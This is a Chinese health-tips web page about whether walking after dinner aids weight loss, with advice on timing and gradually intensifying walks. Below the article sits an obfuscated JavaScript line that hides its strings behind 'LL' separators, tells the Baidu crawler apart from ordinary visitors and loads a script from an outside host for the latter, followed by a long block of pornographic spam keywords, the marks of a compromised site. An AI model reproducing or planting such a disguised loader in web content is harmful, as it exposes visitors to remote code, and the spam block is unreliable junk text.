當前位置:首頁 > 減肥 > 運動減肥 > 正文

晚飯后散步能夠減肥么

2017-04-22 00:00:35  來源:360常識網   熱度:
導語:飯后散步或許很多人都會有這個習慣,尤其是對一些想要擁有好身材的朋友,飯后就是應該多到外面去活動,快速的消耗自己的攝入的食物熱量,從

飯后散步或許很多人都會有這個習慣,尤其是對一些想要擁有好身材的朋友,飯后就是應該多到外面去活動,快速的消耗自己的攝入的食物熱量,從而起到預防肥胖的作用,因此想要減肥,其實我們就可以從生活當中的這些習慣開始,而并不是說一定要你購買什么減肥產品。

美國紐約的科研人員至今還在探討:飯后究竟何時散步對減肥更為有利。他們通過對一批堅持散步鍛煉的學生的監測,發現飯后45分鐘左右,以每小時4.8公里的速度散步20分鐘,熱量消耗得較快,這個時間散步有利于減肥。他們還發現,如能在飯后2~3小時再散步一次,時間大約20分鐘,那么,減肥的效果會更明顯。

1.散步減肥初級階段,你完全可以跟著自己的感覺走,沒有什么特別的要求,事實上是怎么舒服怎么來,記住自己的適應時間和大概速度就可以嘍。

2.現在你可以試著規定自己每次的散步時間或者距離,或者逐步提高運動強度。需要注意的是,這個過程不宜操之過急,一旦出現不適應該立即停止。

3.從現在開始我們需要為單調的散步加一點東西,譬如擺臂。在普通散步的基礎上有意識的加大前后擺臂的幅度,有利于擴張胸部和活動肩部,對于調節呼吸系統有良好的作用。不過這個動作要注意不要傷及無辜哦。

畢竟減肥最科學有效的方法,還是運動以及飲食的結合,所以說飯后散步,自然可以幫助你起到減肥的作用, 但是還是要注意一定要堅持下去,而不是心血來潮的時候才出去走走,因為這樣子的散步,不能夠幫助快速有效的減肥。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
思思久久好好热精品国产| 在线播放亚洲精品| 国产精品伦理一二三区伦理| 久久er国产精品免费观看8| 91精品免费在线观看| 久久国产精品久久久| 日韩精品无码成人专区| 99re久久精品国产首页2020| 青青青国产精品国产精品美女 | 久久精品国产亚洲一区二区三区 | 国产在线精品99一卡2卡| 999精品视频在线观看| 中文国产成人精品久久下载| 精品久久久无码人妻中文字幕豆芽| 久久这里只有精品首页| 免费精品视频在线| 国产精品久久99| 久久久影院亚洲精品| 亚洲一级Av无码毛片久久精品 | 伊人久久综合精品无码AV专区| 揄拍成人国产精品视频| 精品国产99久久久久久麻豆| 久热中文字幕在线精品首页| 亚洲精品综合久久| 精品久久中文字幕| 99久热任我爽精品视频| 少妇人妻无码精品视频| 亚洲精品高清国产一线久久| 国产成人精品大尺度在线观看| 国产麻豆剧传媒精品国产AV| 亚洲国产成人久久精品软件| 91在线精品亚洲一区二区| 日韩精品一区二区三区四区| 国产日韩久久久精品影院首页| 国产精品久久久久久久网站| 亚洲国产精品无码观看久久| 91精品免费在线观看| 91麻豆精品国产91久久久久久| 日韩精品无码中文字幕一区二区| 国产一精品一av一免费爽爽| 99在线精品视频|